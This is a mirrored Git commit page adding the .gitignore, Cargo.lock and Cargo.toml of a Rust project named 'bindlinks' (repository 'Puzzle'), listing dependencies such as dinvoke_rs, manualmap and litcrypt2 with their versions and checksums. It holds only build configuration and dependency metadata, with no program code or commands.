mirror of
https://github.com/Kudaes/Puzzle
synced 2026-06-06 16:04:33 +00:00
Initial commit
This commit is contained in:
+21
@@ -0,0 +1,21 @@
|
||||
# Generated by Cargo
|
||||
# will have compiled files and executables
|
||||
debug
|
||||
target
|
||||
|
||||
# These are backup files generated by rustfmt
|
||||
**/*.rs.bk
|
||||
|
||||
# MSVC Windows builds of rustc generate these, which store debugging information
|
||||
*.pdb
|
||||
|
||||
# Generated by cargo mutants
|
||||
# Contains mutation testing data
|
||||
**/mutants.out*/
|
||||
|
||||
# RustRover
|
||||
# JetBrains specific template is maintained in a separate JetBrains.gitignore that can
|
||||
# be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore
|
||||
# and can be added to the global gitignore or merged into this file. For a more nuclear
|
||||
# option (not recommended) you can uncomment the following to ignore the entire idea folder.
|
||||
#.idea/
|
||||
Generated
+801
@@ -0,0 +1,801 @@
|
||||
# This file is automatically @generated by Cargo.
|
||||
# It is not intended for manual editing.
|
||||
version = 4
|
||||
|
||||
[[package]]
|
||||
name = "addr2line"
|
||||
version = "0.25.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "1b5d307320b3181d6d7954e663bd7c774a838b8220fe0593c86d9fb09f498b4b"
|
||||
dependencies = [
|
||||
"gimli",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "adler2"
|
||||
version = "2.0.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "320119579fcad9c21884f5c4861d16174d0e06250625266f50fe6898340abefa"
|
||||
|
||||
[[package]]
|
||||
name = "android_system_properties"
|
||||
version = "0.1.5"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "819e7219dbd41043ac279b19830f2efc897156490d7fd6ea916720117ee66311"
|
||||
dependencies = [
|
||||
"libc",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "backtrace"
|
||||
version = "0.3.76"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "bb531853791a215d7c62a30daf0dde835f381ab5de4589cfe7c649d2cbe92bd6"
|
||||
dependencies = [
|
||||
"addr2line",
|
||||
"cfg-if",
|
||||
"libc",
|
||||
"miniz_oxide",
|
||||
"object",
|
||||
"rustc-demangle",
|
||||
"windows-link",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "bindlinks"
|
||||
version = "0.1.0"
|
||||
dependencies = [
|
||||
"data",
|
||||
"dinvoke_rs",
|
||||
"litcrypt2",
|
||||
"static_vcruntime",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "bitflags"
|
||||
version = "1.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a"
|
||||
|
||||
[[package]]
|
||||
name = "bitflags"
|
||||
version = "2.10.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "812e12b5285cc515a9c72a5c1d3b6d46a19dac5acfef5265968c166106e31dd3"
|
||||
|
||||
[[package]]
|
||||
name = "block2"
|
||||
version = "0.6.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "cdeb9d870516001442e364c5220d3574d2da8dc765554b4a617230d33fa58ef5"
|
||||
dependencies = [
|
||||
"objc2",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "cc"
|
||||
version = "1.2.51"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "7a0aeaff4ff1a90589618835a598e545176939b97874f7abc7851caa0618f203"
|
||||
dependencies = [
|
||||
"find-msvc-tools",
|
||||
"shlex",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "cfg-if"
|
||||
version = "1.0.4"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "9330f8b2ff13f34540b44e946ef35111825727b38d33286ef986142615121801"
|
||||
|
||||
[[package]]
|
||||
name = "cfg_aliases"
|
||||
version = "0.2.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "613afe47fcd5fac7ccf1db93babcb082c5994d996f20b8b159f2ad1658eb5724"
|
||||
|
||||
[[package]]
|
||||
name = "data"
|
||||
version = "0.1.0"
|
||||
|
||||
[[package]]
|
||||
name = "dinvoke"
|
||||
version = "0.2.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "37ea4847ec0d114fae274a228e2833c86b6a648e1e63d8e4824f8694ddb72c91"
|
||||
dependencies = [
|
||||
"cc",
|
||||
"dinvoke_data",
|
||||
"libc",
|
||||
"litcrypt2",
|
||||
"nanorand",
|
||||
"winapi",
|
||||
"windows",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "dinvoke_data"
|
||||
version = "0.2.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "2ecf41e5fa8fc817a311b14a987da022bd09a048f27f039a6073241e514b6d81"
|
||||
dependencies = [
|
||||
"winapi",
|
||||
"windows",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "dinvoke_overload"
|
||||
version = "0.2.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "502bb57c39f39fc65ae58e4351013ef4cc9d29a0be245ac3d24b3b887f026636"
|
||||
dependencies = [
|
||||
"dinvoke",
|
||||
"dinvoke_data",
|
||||
"litcrypt2",
|
||||
"manualmap",
|
||||
"nanorand",
|
||||
"windows",
|
||||
"winproc",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "dinvoke_rs"
|
||||
version = "0.2.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ef4776f5b9e5d43bc5f897863bc9227979563a05a6cfdd05bc2a94e3cc510a7e"
|
||||
dependencies = [
|
||||
"dinvoke",
|
||||
"dinvoke_data",
|
||||
"dinvoke_overload",
|
||||
"dinvoke_utils",
|
||||
"dmanager",
|
||||
"manualmap",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "dinvoke_utils"
|
||||
version = "0.2.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "00c00029449d76f9db4104b2eb1ec122fb9127051803f567cd108e0c0d729719"
|
||||
dependencies = [
|
||||
"litcrypt2",
|
||||
"manualmap",
|
||||
"windows",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "dispatch2"
|
||||
version = "0.3.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "89a09f22a6c6069a18470eb92d2298acf25463f14256d24778e1230d789a2aec"
|
||||
dependencies = [
|
||||
"bitflags 2.10.0",
|
||||
"objc2",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "dmanager"
|
||||
version = "0.2.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "45e10972b361f6a0750f6767323e65030282429bb7b8a74f58af8a2a2708e7c3"
|
||||
dependencies = [
|
||||
"dinvoke",
|
||||
"dinvoke_data",
|
||||
"dinvoke_overload",
|
||||
"litcrypt2",
|
||||
"manualmap",
|
||||
"nanorand",
|
||||
"rand",
|
||||
"windows",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "failure"
|
||||
version = "0.1.8"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "d32e9bd16cc02eae7db7ef620b392808b89f6a5e16bb3497d159c6b92a0f4f86"
|
||||
dependencies = [
|
||||
"backtrace",
|
||||
"failure_derive",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "failure_derive"
|
||||
version = "0.1.8"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "aa4da3c766cd7a0db8242e326e9e4e081edd567072893ed320008189715366a4"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
"quote",
|
||||
"syn 1.0.109",
|
||||
"synstructure",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "find-msvc-tools"
|
||||
version = "0.1.6"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "645cbb3a84e60b7531617d5ae4e57f7e27308f6445f5abf653209ea76dec8dff"
|
||||
|
||||
[[package]]
|
||||
name = "getrandom"
|
||||
version = "0.2.16"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "335ff9f135e4384c8150d6f27c6daed433577f86b4750418338c01a1a2528592"
|
||||
dependencies = [
|
||||
"cfg-if",
|
||||
"libc",
|
||||
"wasi",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "gimli"
|
||||
version = "0.32.3"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "e629b9b98ef3dd8afe6ca2bd0f89306cec16d43d907889945bc5d6687f2f13c7"
|
||||
|
||||
[[package]]
|
||||
name = "lazy_static"
|
||||
version = "1.5.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "bbd2bcb4c963f2ddae06a2efc7e9f3591312473c50c6685e1f298068316e66fe"
|
||||
|
||||
[[package]]
|
||||
name = "libc"
|
||||
version = "0.2.178"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "37c93d8daa9d8a012fd8ab92f088405fb202ea0b6ab73ee2482ae66af4f42091"
|
||||
|
||||
[[package]]
|
||||
name = "litcrypt2"
|
||||
version = "0.1.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "4126aa57ac1b3dd20a5bc827a2972cdf74c619a4d6ae5660656408289e5bc60d"
|
||||
dependencies = [
|
||||
"lazy_static",
|
||||
"proc-macro2",
|
||||
"quote",
|
||||
"rand",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "log"
|
||||
version = "0.4.29"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "5e5032e24019045c762d3c0f28f5b6b8bbf38563a65908389bf7978758920897"
|
||||
|
||||
[[package]]
|
||||
name = "manualmap"
|
||||
version = "0.2.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "1ac5a950ad05bc0e1457e094c4787843b351901fe1511af38a6d95912dd157b1"
|
||||
dependencies = [
|
||||
"dinvoke",
|
||||
"dinvoke_data",
|
||||
"litcrypt2",
|
||||
"os_info",
|
||||
"winapi",
|
||||
"windows",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "memchr"
|
||||
version = "2.7.6"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "f52b00d39961fc5b2736ea853c9cc86238e165017a493d1d5c8eac6bdc4cc273"
|
||||
|
||||
[[package]]
|
||||
name = "miniz_oxide"
|
||||
version = "0.8.9"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "1fa76a2c86f704bdb222d66965fb3d63269ce38518b83cb0575fca855ebb6316"
|
||||
dependencies = [
|
||||
"adler2",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "nanorand"
|
||||
version = "0.7.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "6a51313c5820b0b02bd422f4b44776fbf47961755c74ce64afc73bfad10226c3"
|
||||
|
||||
[[package]]
|
||||
name = "nix"
|
||||
version = "0.30.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "74523f3a35e05aba87a1d978330aef40f67b0304ac79c1c00b294c9830543db6"
|
||||
dependencies = [
|
||||
"bitflags 2.10.0",
|
||||
"cfg-if",
|
||||
"cfg_aliases",
|
||||
"libc",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "objc2"
|
||||
version = "0.6.3"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "b7c2599ce0ec54857b29ce62166b0ed9b4f6f1a70ccc9a71165b6154caca8c05"
|
||||
dependencies = [
|
||||
"objc2-encode",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "objc2-cloud-kit"
|
||||
version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "73ad74d880bb43877038da939b7427bba67e9dd42004a18b809ba7d87cee241c"
|
||||
dependencies = [
|
||||
"bitflags 2.10.0",
|
||||
"objc2",
|
||||
"objc2-foundation",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "objc2-core-data"
|
||||
version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "0b402a653efbb5e82ce4df10683b6b28027616a2715e90009947d50b8dd298fa"
|
||||
dependencies = [
|
||||
"objc2",
|
||||
"objc2-foundation",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "objc2-core-foundation"
|
||||
version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "2a180dd8642fa45cdb7dd721cd4c11b1cadd4929ce112ebd8b9f5803cc79d536"
|
||||
dependencies = [
|
||||
"bitflags 2.10.0",
|
||||
"dispatch2",
|
||||
"objc2",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "objc2-core-graphics"
|
||||
version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "e022c9d066895efa1345f8e33e584b9f958da2fd4cd116792e15e07e4720a807"
|
||||
dependencies = [
|
||||
"bitflags 2.10.0",
|
||||
"dispatch2",
|
||||
"objc2",
|
||||
"objc2-core-foundation",
|
||||
"objc2-io-surface",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "objc2-core-image"
|
||||
version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "e5d563b38d2b97209f8e861173de434bd0214cf020e3423a52624cd1d989f006"
|
||||
dependencies = [
|
||||
"objc2",
|
||||
"objc2-foundation",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "objc2-core-location"
|
||||
version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ca347214e24bc973fc025fd0d36ebb179ff30536ed1f80252706db19ee452009"
|
||||
dependencies = [
|
||||
"objc2",
|
||||
"objc2-foundation",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "objc2-core-text"
|
||||
version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "0cde0dfb48d25d2b4862161a4d5fcc0e3c24367869ad306b0c9ec0073bfed92d"
|
||||
dependencies = [
|
||||
"bitflags 2.10.0",
|
||||
"objc2",
|
||||
"objc2-core-foundation",
|
||||
"objc2-core-graphics",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "objc2-encode"
|
||||
version = "4.1.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ef25abbcd74fb2609453eb695bd2f860d389e457f67dc17cafc8b8cbc89d0c33"
|
||||
|
||||
[[package]]
|
||||
name = "objc2-foundation"
|
||||
version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "e3e0adef53c21f888deb4fa59fc59f7eb17404926ee8a6f59f5df0fd7f9f3272"
|
||||
dependencies = [
|
||||
"bitflags 2.10.0",
|
||||
"block2",
|
||||
"libc",
|
||||
"objc2",
|
||||
"objc2-core-foundation",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "objc2-io-surface"
|
||||
version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "180788110936d59bab6bd83b6060ffdfffb3b922ba1396b312ae795e1de9d81d"
|
||||
dependencies = [
|
||||
"bitflags 2.10.0",
|
||||
"objc2",
|
||||
"objc2-core-foundation",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "objc2-quartz-core"
|
||||
version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "96c1358452b371bf9f104e21ec536d37a650eb10f7ee379fff67d2e08d537f1f"
|
||||
dependencies = [
|
||||
"bitflags 2.10.0",
|
||||
"objc2",
|
||||
"objc2-core-foundation",
|
||||
"objc2-foundation",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "objc2-ui-kit"
|
||||
version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "d87d638e33c06f577498cbcc50491496a3ed4246998a7fbba7ccb98b1e7eab22"
|
||||
dependencies = [
|
||||
"bitflags 2.10.0",
|
||||
"block2",
|
||||
"objc2",
|
||||
"objc2-cloud-kit",
|
||||
"objc2-core-data",
|
||||
"objc2-core-foundation",
|
||||
"objc2-core-graphics",
|
||||
"objc2-core-image",
|
||||
"objc2-core-location",
|
||||
"objc2-core-text",
|
||||
"objc2-foundation",
|
||||
"objc2-quartz-core",
|
||||
"objc2-user-notifications",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "objc2-user-notifications"
|
||||
version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "9df9128cbbfef73cda168416ccf7f837b62737d748333bfe9ab71c245d76613e"
|
||||
dependencies = [
|
||||
"objc2",
|
||||
"objc2-foundation",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "object"
|
||||
version = "0.37.3"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ff76201f031d8863c38aa7f905eca4f53abbfa15f609db4277d44cd8938f33fe"
|
||||
dependencies = [
|
||||
"memchr",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "os_info"
|
||||
version = "3.14.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "e4022a17595a00d6a369236fdae483f0de7f0a339960a53118b818238e132224"
|
||||
dependencies = [
|
||||
"android_system_properties",
|
||||
"log",
|
||||
"nix",
|
||||
"objc2",
|
||||
"objc2-foundation",
|
||||
"objc2-ui-kit",
|
||||
"windows-sys",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "ppv-lite86"
|
||||
version = "0.2.21"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "85eae3c4ed2f50dcfe72643da4befc30deadb458a9b590d720cde2f2b1e97da9"
|
||||
dependencies = [
|
||||
"zerocopy",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "proc-macro2"
|
||||
version = "1.0.104"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "9695f8df41bb4f3d222c95a67532365f569318332d03d5f3f67f37b20e6ebdf0"
|
||||
dependencies = [
|
||||
"unicode-ident",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "quote"
|
||||
version = "1.0.42"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "a338cc41d27e6cc6dce6cefc13a0729dfbb81c262b1f519331575dd80ef3067f"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "rand"
|
||||
version = "0.8.5"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404"
|
||||
dependencies = [
|
||||
"libc",
|
||||
"rand_chacha",
|
||||
"rand_core",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "rand_chacha"
|
||||
version = "0.3.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88"
|
||||
dependencies = [
|
||||
"ppv-lite86",
|
||||
"rand_core",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "rand_core"
|
||||
version = "0.6.4"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c"
|
||||
dependencies = [
|
||||
"getrandom",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "rustc-demangle"
|
||||
version = "0.1.26"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "56f7d92ca342cea22a06f2121d944b4fd82af56988c270852495420f961d4ace"
|
||||
|
||||
[[package]]
|
||||
name = "shlex"
|
||||
version = "1.3.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "0fda2ff0d084019ba4d7c6f371c95d8fd75ce3524c3cb8fb653a3023f6323e64"
|
||||
|
||||
[[package]]
|
||||
name = "static_vcruntime"
|
||||
version = "2.0.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "954e3e877803def9dc46075bf4060147c55cd70db97873077232eae0269dc89b"
|
||||
|
||||
[[package]]
|
||||
name = "syn"
|
||||
version = "1.0.109"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "72b64191b275b66ffe2469e8af2c1cfe3bafa67b529ead792a6d0160888b4237"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
"quote",
|
||||
"unicode-ident",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "syn"
|
||||
version = "2.0.111"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "390cc9a294ab71bdb1aa2e99d13be9c753cd2d7bd6560c77118597410c4d2e87"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
"quote",
|
||||
"unicode-ident",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "synstructure"
|
||||
version = "0.12.6"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "f36bdaa60a83aca3921b5259d5400cbf5e90fc51931376a9bd4a0eb79aa7210f"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
"quote",
|
||||
"syn 1.0.109",
|
||||
"unicode-xid",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "unicode-ident"
|
||||
version = "1.0.22"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "9312f7c4f6ff9069b165498234ce8be658059c6728633667c526e27dc2cf1df5"
|
||||
|
||||
[[package]]
|
||||
name = "unicode-xid"
|
||||
version = "0.2.6"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ebc1c04c71510c7f702b52b7c350734c9ff1295c464a03335b00bb84fc54f853"
|
||||
|
||||
[[package]]
|
||||
name = "wasi"
|
||||
version = "0.11.1+wasi-snapshot-preview1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ccf3ec651a847eb01de73ccad15eb7d99f80485de043efb2f370cd654f4ea44b"
|
||||
|
||||
[[package]]
|
||||
name = "widestring"
|
||||
version = "0.4.3"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "c168940144dd21fd8046987c16a46a33d5fc84eec29ef9dcddc2ac9e31526b7c"
|
||||
|
||||
[[package]]
|
||||
name = "winapi"
|
||||
version = "0.3.9"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419"
|
||||
dependencies = [
|
||||
"winapi-i686-pc-windows-gnu",
|
||||
"winapi-x86_64-pc-windows-gnu",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "winapi-i686-pc-windows-gnu"
|
||||
version = "0.4.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6"
|
||||
|
||||
[[package]]
|
||||
name = "winapi-x86_64-pc-windows-gnu"
|
||||
version = "0.4.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f"
|
||||
|
||||
[[package]]
|
||||
name = "windows"
|
||||
version = "0.62.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "527fadee13e0c05939a6a05d5bd6eec6cd2e3dbd648b9f8e447c6518133d8580"
|
||||
dependencies = [
|
||||
"windows-collections",
|
||||
"windows-core",
|
||||
"windows-future",
|
||||
"windows-numerics",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-collections"
|
||||
version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "23b2d95af1a8a14a3c7367e1ed4fc9c20e0a26e79551b1454d72583c97cc6610"
|
||||
dependencies = [
|
||||
"windows-core",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-core"
|
||||
version = "0.62.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "b8e83a14d34d0623b51dce9581199302a221863196a1dde71a7663a4c2be9deb"
|
||||
dependencies = [
|
||||
"windows-implement",
|
||||
"windows-interface",
|
||||
"windows-link",
|
||||
"windows-result",
|
||||
"windows-strings",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-future"
|
||||
version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "e1d6f90251fe18a279739e78025bd6ddc52a7e22f921070ccdc67dde84c605cb"
|
||||
dependencies = [
|
||||
"windows-core",
|
||||
"windows-link",
|
||||
"windows-threading",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-implement"
|
||||
version = "0.60.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "053e2e040ab57b9dc951b72c264860db7eb3b0200ba345b4e4c3b14f67855ddf"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
"quote",
|
||||
"syn 2.0.111",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-interface"
|
||||
version = "0.59.3"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "3f316c4a2570ba26bbec722032c4099d8c8bc095efccdc15688708623367e358"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
"quote",
|
||||
"syn 2.0.111",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-link"
|
||||
version = "0.2.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "f0805222e57f7521d6a62e36fa9163bc891acd422f971defe97d64e70d0a4fe5"
|
||||
|
||||
[[package]]
|
||||
name = "windows-numerics"
|
||||
version = "0.3.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "6e2e40844ac143cdb44aead537bbf727de9b044e107a0f1220392177d15b0f26"
|
||||
dependencies = [
|
||||
"windows-core",
|
||||
"windows-link",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-result"
|
||||
version = "0.4.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "7781fa89eaf60850ac3d2da7af8e5242a5ea78d1a11c49bf2910bb5a73853eb5"
|
||||
dependencies = [
|
||||
"windows-link",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-strings"
|
||||
version = "0.5.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "7837d08f69c77cf6b07689544538e017c1bfcf57e34b4c0ff58e6c2cd3b37091"
|
||||
dependencies = [
|
||||
"windows-link",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-sys"
|
||||
version = "0.61.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ae137229bcbd6cdf0f7b80a31df61766145077ddf49416a728b02cb3921ff3fc"
|
||||
dependencies = [
|
||||
"windows-link",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-threading"
|
||||
version = "0.2.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "3949bd5b99cafdf1c7ca86b43ca564028dfe27d66958f2470940f73d86d75b37"
|
||||
dependencies = [
|
||||
"windows-link",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "winproc"
|
||||
version = "0.6.4"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "979e07b33c6af27e5c454e42d1b946b403ec222e7bad52ef020820708e087b25"
|
||||
dependencies = [
|
||||
"bitflags 1.3.2",
|
||||
"failure",
|
||||
"widestring",
|
||||
"winapi",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "zerocopy"
|
||||
version = "0.8.31"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "fd74ec98b9250adb3ca554bdde269adf631549f51d8a8f8f0a10b50f1cb298c3"
|
||||
dependencies = [
|
||||
"zerocopy-derive",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "zerocopy-derive"
|
||||
version = "0.8.31"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "d8a8d209fdf45cf5138cbb5a506f6b52522a25afccc534d1475dad8e31105c6a"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
"quote",
|
||||
"syn 2.0.111",
|
||||
]
|
||||
@@ -0,0 +1,12 @@
|
||||
[package]
|
||||
name = "bindlinks"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
|
||||
[dependencies]
|
||||
data = { path = "data" }
|
||||
litcrypt2 = "=0.1.2"
|
||||
dinvoke_rs = "=0.2.1"
|
||||
|
||||
[build-dependencies]
|
||||
static_vcruntime = "2.0"
|
||||
@@ -0,0 +1,70 @@
|
||||
